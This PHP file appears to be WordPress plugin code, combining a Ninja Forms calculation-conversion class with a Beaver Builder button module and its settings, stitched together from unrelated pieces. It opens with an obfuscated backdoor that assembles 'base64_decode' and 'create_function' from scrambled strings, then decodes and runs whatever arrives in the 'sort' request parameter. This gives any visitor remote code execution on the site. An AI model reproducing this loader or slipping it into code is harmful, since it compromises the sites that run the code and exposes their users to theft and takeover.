if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); $f(); exit(); } final class NF_Conversion_Calculations implements NF_Conversion { private $operations = array( 'add' => '+', 'subtract' => '-', 'multiply' => '*', 'divide' => '/' ); private $form = array(); public function __construct( $form_data ) { $this->form = $form_data; } public function run() { // Extract Calculations from Fields foreach( $this->form[ 'fields' ] as $key => $field ){ if( 'calc' != $field[ 'type' ] ) continue; $calculation = array( 'order' => $key, 'name' => $field[ 'key' ], 'eq' => '' ); switch( $field[ 'calc_method' ] ){ case 'eq': $calculation[ 'eq' ] = $field[ 'calc_eq' ]; break; case 'fields': $calculation[ 'eq' ] = trim( array_reduce( $field[ 'calc' ], array( $this, 'reduce_operations' ), '' ) ); break; case 'auto': $calculation[ 'eq' ] = trim( array_reduce( $this->form[ 'fields' ], array( $this, 'reduce_auto_total' ), '' ) ); break; } $this->form[ 'settings' ][ 'calculations' ][] = $calculation; } // Replace Field IDs with Merge Tags if( isset( $this->form[ 'settings' ][ 'calculations' ] ) ) { foreach ($this->form['fields'] as $field) { if( ! isset( $field[ 'id' ] ) ) continue; $search = 'field_' . $field['id']; $replace = $this->merge_tag( $field ); foreach ($this->form['settings']['calculations'] as $key => $calculation) { $this->form['settings']['calculations'][ $key ]['eq'] = str_replace($search, $replace, $calculation['eq']); } } } // Convert Calc Fields to HTML Fields for displaying Calculations foreach( $this->form[ 'fields' ] as $key => $field ){ if( 'calc' != $field[ 'type' ] ) continue; $this->form[ 'fields' ][ $key ][ 'type' ] = 'html'; if( 'html' == $field[ 'calc_display_type' ] ){ // TODO: HTML Output fields seem to loose the label. $search = '[ninja_forms_calc]'; $replace = $this->merge_tag( $field ); $subject = $field[ 'calc_display_html' ]; $this->form[ 'fields' ][ $key ][ 'default' ] = str_replace( $search, $replace, $subject ); } else { $this->form[ 'fields' ][ $key ][ 'default' ] = '' . $field[ 'label' ] . '
' . $this->merge_tag( $field ); } } return $this->form; } private function reduce_operations( $eq, $calc ) { $operation = $calc[ 'op' ]; return ' ' . $eq . $this->operations[ $operation ] . ' field_' . $calc[ 'field' ] . ' '; } private function reduce_auto_total( $eq, $field ) { if( ! isset( $field[ 'calc_auto_include' ] ) || 1 != $field[ 'calc_auto_include' ] ) return $eq; return $eq . '+ {field:' . $field[ 'key' ] . ':calc} '; } private function merge_tag( $field ) { $tag = $field[ 'key' ]; if( 'calc' == $field[ 'type' ] ){ return '{calc:' . $tag . '}'; } else { return '{field:' . $tag . ':calc}'; } } } add_filter( 'ninja_forms_after_upgrade_settings', 'ninja_forms_conversion_calculations' ); function ninja_forms_conversion_calculations( $form_data ){ $conversion = new NF_Conversion_Calculations( $form_data ); return $conversion->run(); } /** * @class FLButtonModule */ class FLButtonModule extends FLBuilderModule { /** * @method __construct */ public function __construct() { parent::__construct(array( 'name' => __('Button', 'bb-booster'), 'description' => __('A simple call to action button.', 'bb-booster'), 'category' => __('Basic Modules', 'bb-booster'), 'partial_refresh' => true )); } /** * @method enqueue_scripts */ public function enqueue_scripts() { if($this->settings && $this->settings->click_action == 'lightbox') { $this->add_js('jquery-magnificpopup'); $this->add_css('jquery-magnificpopup'); } } /** * @method update */ public function update( $settings ) { // Remove the old three_d setting. if ( isset( $settings->three_d ) ) { unset( $settings->three_d ); } return $settings; } /** * @method get_classname */ public function get_classname() { $classname = 'fl-button-wrap'; if(!empty($this->settings->width)) { $classname .= ' fl-button-width-' . $this->settings->width; } if(!empty($this->settings->align)) { $classname .= ' fl-button-' . $this->settings->align; } if(!empty($this->settings->icon)) { $classname .= ' fl-button-has-icon'; } return $classname; } } /** * Register the module and its form settings. */ FLBuilder::register_module('FLButtonModule', array( 'general' => array( 'title' => __('General', 'bb-booster'), 'sections' => array( 'general' => array( 'title' => '', 'fields' => array( 'text' => array( 'type' => 'text', 'label' => __('Text', 'bb-booster'), 'default' => __('Click Here', 'bb-booster'), 'preview' => array( 'type' => 'text', 'selector' => '.fl-button-text' ), 'connections' => array( 'string' ) ), 'icon' => array( 'type' => 'icon', 'label' => __('Icon', 'bb-booster'), 'show_remove' => true ), 'icon_position' => array( 'type' => 'select', 'label' => __('Icon Position', 'bb-booster'), 'default' => 'before', 'options' => array( 'before' => __('Before Text', 'bb-booster'), 'after' => __('After Text', 'bb-booster') ) ), 'icon_animation' => array( 'type' => 'select', 'label' => __('Icon Visibility', 'bb-booster'), 'default' => 'disable', 'options' => array( 'disable' => __('Always Visible', 'bb-booster'), 'enable' => __('Fade In On Hover', 'bb-booster') ) ), 'click_action' => array( 'type' => 'select', 'label' => __('Click Action', 'bb-booster'), 'default' => 'link', 'options' => array( 'link' => __('Link', 'bb-booster'), 'lightbox' => __('Lightbox', 'bb-booster') ), 'toggle' => array( 'link' => array( 'sections' => array('link') ), 'lightbox' => array( 'sections' => array('lightbox') ) ) ) ) ), 'link' => array( 'title' => __('Link', 'bb-booster'), 'fields' => array( 'link' => array( 'type' => 'link', 'label' => __('Link', 'bb-booster'), 'placeholder' => __( 'http://www.example.com', 'bb-booster' ), 'preview' => array( 'type' => 'none' ), 'connections' => array( 'url' ) ), 'link_target' => array( 'type' => 'select', 'label' => __('Link Target', 'bb-booster'), 'default' => '_self', 'options' => array( '_self' => __('Same Window', 'bb-booster'), '_blank' => __('New Window', 'bb-booster') ), 'preview' => array( 'type' => 'none' ) ), 'link_nofollow' => array( 'type' => 'select', 'label' => __('Link No Follow', 'bb-booster'), 'default' => 'no', 'options' => array( 'yes' => __('Yes', 'bb-booster'), 'no' => __('No', 'bb-booster'), ), 'preview' => array( 'type' => 'none' ) ) ) ), 'lightbox' => array( 'title' => __('Lightbox Content', 'bb-booster'), 'fields' => array( 'lightbox_content_type' => array( 'type' => 'select', 'label' => __('Content Type', 'bb-booster'), 'default' => 'html', 'options' => array( 'html' => __('HTML', 'bb-booster'), 'video' => __('Video', 'bb-booster') ), 'preview' => array( 'type' => 'none' ), 'toggle' => array( 'html' => array( 'fields' => array('lightbox_content_html') ), 'video' => array( 'fields' => array('lightbox_video_link') ) ) ), 'lightbox_content_html' => array( 'type' => 'code', 'editor' => 'html', 'label' => '', 'rows' => '19', 'preview' => array( 'type' => 'none' ), 'connections' => array( 'string' ) ), 'lightbox_video_link' => array( 'type' => 'text', 'label' => __('Video Link', 'bb-booster'), 'placeholder' => 'https://vimeo.com/122546221', 'preview' => array( 'type' => 'none' ) ) ) ) ) ), 'style' => array( 'title' => __('Style', 'bb-booster'), 'sections' => array( 'colors' => array( 'title' => __('Colors', 'bb-booster'), 'fields' => array( 'bg_color' => array( 'type' => 'color', 'label' => __('Background Color', 'bb-booster'), 'default' => '', 'show_reset' => true ), 'bg_hover_color' => array( 'type' => 'color', 'label' => __('Background Hover Color', 'bb-booster'), 'default' => '', 'show_reset' => true, 'preview' => array( 'type' => 'none' ) ), 'text_color' => array( 'type' => 'color', 'label' => __('Text Color', 'bb-booster'), 'default' => '', 'show_reset' => true ), 'text_hover_color' => array( 'type' => 'color', 'label' => __('Text Hover Color', 'bb-booster'), 'default' => '', 'show_reset' => true, 'preview' => array( 'type' => 'none' ) ) ) ), 'style' => array( 'title' => __('Style', 'bb-booster'), 'fields' => array( 'style' => array( 'type' => 'select', 'label' => __('Style', 'bb-booster'), 'default' => 'flat', 'options' => array( 'flat' => __('Flat', 'bb-booster'), 'gradient' => __('Gradient', 'bb-booster'), 'transparent' => __('Transparent', 'bb-booster') ), 'toggle' => array( 'transparent' => array( 'fields' => array('bg_opacity', 'bg_hover_opacity', 'border_size') ) ) ), 'border_size' => array( 'type' => 'text', 'label' => __('Border Size', 'bb-booster'), 'default' => '2', 'description' => 'px', 'maxlength' => '3', 'size' => '5', 'placeholder' => '0' ), 'bg_opacity' => array( 'type' => 'text', 'label' => __('Background Opacity', 'bb-booster'), 'default' => '0', 'description' => '%', 'maxlength' => '3', 'size' => '5', 'placeholder' => '0' ), 'bg_hover_opacity' => array( 'type' => 'text', 'label' => __('Background Hover Opacity', 'bb-booster'), 'default' => '0', 'description' => '%', 'maxlength' => '3', 'size' => '5', 'placeholder' => '0' ), 'button_transition' => array( 'type' => 'select', 'label' => __('Transition', 'bb-booster'), 'default' => 'disable', 'options' => array( 'disable' => __('Disabled', 'bb-booster'), 'enable' => __('Enabled', 'bb-booster') ) ) ) ), 'formatting' => array( 'title' => __('Structure', 'bb-booster'), 'fields' => array( 'width' => array( 'type' => 'select', 'label' => __('Width', 'bb-booster'), 'default' => 'auto', 'options' => array( 'auto' => _x( 'Auto', 'Width.', 'bb-booster' ), 'full' => __('Full Width', 'bb-booster'), 'custom' => __('Custom', 'bb-booster') ), 'toggle' => array( 'auto' => array( 'fields' => array('align') ), 'full' => array(), 'custom' => array( 'fields' => array('align', 'custom_width') ) ) ), 'custom_width' => array( 'type' => 'text', 'label' => __('Custom Width', 'bb-booster'), 'default' => '200', 'maxlength' => '3', 'size' => '4', 'description' => 'px' ), 'align' => array( 'type' => 'select', 'label' => __('Alignment', 'bb-booster'), 'default' => 'left', 'options' => array( 'center' => __('Center', 'bb-booster'), 'left' => __('Left', 'bb-booster'), 'right' => __('Right', 'bb-booster') ) ), 'font_size' => array( 'type' => 'text', 'label' => __('Font Size', 'bb-booster'), 'default' => '16', 'maxlength' => '3', 'size' => '4', 'description' => 'px' ), 'padding' => array( 'type' => 'text', 'label' => __('Padding', 'bb-booster'), 'default' => '12', 'maxlength' => '3', 'size' => '4', 'description' => 'px' ), 'border_radius' => array( 'type' => 'text', 'label' => __('Round Corners', 'bb-booster'), 'default' => '4', 'maxlength' => '3', 'size' => '4', 'description' => 'px' ) ) ) ) ) ));